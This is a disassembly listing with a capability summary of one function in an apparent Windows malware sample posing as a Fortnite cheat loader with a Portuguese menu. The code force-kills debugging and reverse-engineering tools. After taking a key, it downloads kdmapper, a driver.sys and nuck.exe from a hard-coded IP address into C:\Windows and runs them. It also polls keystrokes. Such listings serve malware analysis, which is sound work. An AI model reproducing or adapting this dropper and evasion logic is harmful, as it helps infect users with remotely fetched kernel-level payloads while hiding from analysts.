Function at 0x140014d00
Capabilities:
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x14007f080]
xor rax, rsp
mov qword [rbp + 0xc0], rax
mov ecx, 0xfffffff6
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
lea rdx, [rsp + 0x68]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0x68]
and edx, 0x80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rbx, rax
mov dword [rbp - 0x60], 0x60
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfoEx]
mov edi, 0x64
mov dword [rbp - 0x5c], 0x140064
xor esi, esi
mov dword [rbp - 0x52], esi
mov dword [rbp - 0x4e], 0x140064
mov dword [rbp - 0x4a], 0x140064
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferInfoEx]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0x50]
and edx, 0xfffffffd
mov dword [rsp + 0x50], edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140014ed2
lea rcx, str.taskkill__IM_ProcessHacker.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__IM_dnSpy.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__IM_cheatengine_x86_64.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x50], 0x69757b
mov byte [rsp + 0x54], 1
lea rcx, [rsp + 0x50]
call fcn.140014990
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__IM_ollydbg.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__IM_ida.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__IM_ida64.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x50], 0x69757b
mov byte [rsp + 0x54], 1
lea rcx, [rsp + 0x50]
call fcn.140014990
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__IM_radare2.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__IM_x64dbg.exe__F
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x50], 0x69757b
mov byte [rsp + 0x54], 1
lea rcx, [rsp + 0x50]
call fcn.140014990
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Stop_debugging_u_yerk
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006080
lea rdx, [0x140013900]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea ecx, [rdi - 0x65]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
mov edx, 0xfffffff0
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 0xfffaffff
mov r8d, eax
mov edx, 0xfffffff0
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowLongA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rbx, rax
lea rdx, [rsp + 0x70]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x190
mov r9d, 0x320
mov r8d, dword [rsp + 0x74]
mov edx, dword [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.USER32.dll_MoveWindow]
call fcn.140014510
lea rcx, [0x14007f440]
call fcn.1400036d0
mov dword [rsp + 0x50], 0x69757b
mov byte [rsp + 0x54], 1
mov rax, rsi
nop
lea ecx, [rax + 0x18]
xor byte [rsp + rax + 0x50], cl
inc rax
cmp rax, 3
jb 0x140014f60
mov byte [rsp + 0x54], sil
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066d70]
call fcn.1400155e0
lea rcx, str._n
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str.__________________Selecione_uma_opcao:_____________________n
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._n_n
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e38]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e3c]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e40]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._Status___Fortnite_Cash_Cup_
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str.Undetected._n_n
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e38]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e78]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e40]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movdqa xmm0, xmmword [0x1400670e0]
movdqu xmmword [rsp + 0x50], xmm0
mov word [rsp + 0x60], 0x100
mov rcx, rsi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x18]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x10
jb 0x140015160
mov byte [rsp + 0x61], sil
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006080
lea rcx, [0x140066e38]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, 5
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e3c]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, [0x140066e40]
call fcn.1400155e0
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edx, reloc.WS2_32.dll_ntohs
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rcx, str._Selecione_uma_opcao:
call fcn.1400155e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
movdqa xmm1, xmmword [0x140067070]
movdqu xmmword [rbp - 0x70], xmm1
mov byte [rbp - 0x80], sil
lea rdx, [rsp + 0x6c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rsp + 0x6c], 1
je 0x14001525c
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.140063220
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
lea rcx, [0x140066cb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 5
call fcn.140014cd0
lea rcx, [0x140066d70]
call fcn.1400155e0
lea rcx, str._n
call fcn.1400155e0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
lea rcx, str._____________________Coloque_sua_key:______________________n
call fcn.1400155e0
mov ecx, 5
call fcn.140014cd0
lea rcx, str._n_n
call fcn.1400155e0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
mov dword [rsp + 0x50], 0x1004212
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140012cd0
mov ecx, 5
call fcn.140014cd0
mov word [rsp + 0x50], gethostname
mov byte [rsp + 0x52], 1
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140012ca0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
mov dword [rsp + 0x50], 0x7e513945
mov dword [rsp + 0x54], 0x3e2765
mov byte [rsp + 0x58], 1
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140012d10
lea rdx, [rbp - 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140012a60
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x30]
call fcn.1400053e0
mov rdx, rax
lea rcx, [0x14007f440]
call fcn.140004280
lea rcx, [0x140066cb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 2
call fcn.140014cd0
movdqa xmm0, xmmword [0x140067120]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x504464c
mov dword [rsp + 0x64], 0x1002702
lea rdx, [rsp + 0x50]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140012d50
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140066cb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.http:__185.101.104.92_kdmapper_Release.exe
lea rcx, [rbp + 0x20]
call fcn.1400053a0
nop
lea rdx, str.C:WindowsSKBkdmapper_Release.exe
lea rcx, [rbp]
call fcn.1400053a0
nop
lea rcx, [rbp]
call fcn.140005180
mov rbx, rax
lea rcx, [rbp + 0x20]
call fcn.140005180
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rdx, str.http:__185.101.104.92_driver.sys
lea rcx, [rbp + 0x60]
call fcn.1400053a0
nop
lea rdx, str.C:WindowsSKBdriver.sys
lea rcx, [rbp + 0x40]
call fcn.1400053a0
nop
lea rcx, [rbp + 0x40]
call fcn.140005180
mov rbx, rax
lea rcx, [rbp + 0x60]
call fcn.140005180
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.cd_C:_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSKBkdmapper_Release.exe_C:WindowsSKBdriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140066cb8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
lea rcx, [0x140066e38]
call fcn.1400155e0
mov ecx, 2
call fcn.140014cd0
lea rcx, [0x140066e3c]
call fcn.1400155e0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
lea rcx, [0x140066e40]
call fcn.1400155e0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
lea rcx, str._Open_Medal_Overlay_n
call fcn.1400155e0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
lea rcx, [0x140066e38]
call fcn.1400155e0
mov ecx, 2
call fcn.140014cd0
lea rcx, [0x140066e3c]
call fcn.1400155e0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
lea rcx, [0x140066e40]
call fcn.1400155e0
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.140014cd0
lea rcx, str._Press_WINH_in_Lobby_Fortnite_n
call fcn.1400155e0
nop dword [rax + rax]
mov ecx, 0x5b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x140015550
mov ecx, 0x48
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
js 0x14001555a
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140015530
lea rdx, str.http:__185.101.104.92_nuck.exe
lea rcx, [rbp + 0xa0]
call fcn.1400053a0
nop
lea rdx, str.C:WindowsSystem_nuck.exe
lea rcx, [rbp + 0x80]
call fcn.1400053a0
lea rcx, [rbp + 0x80]
call fcn.140005180
mov rbx, rax
lea rcx, [rbp + 0xa0]
call fcn.140005180
mov qword [rsp + 0x20], rsi
xor r9d, r9d
mov r8, rbx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.cd_C:_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem_nuck.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3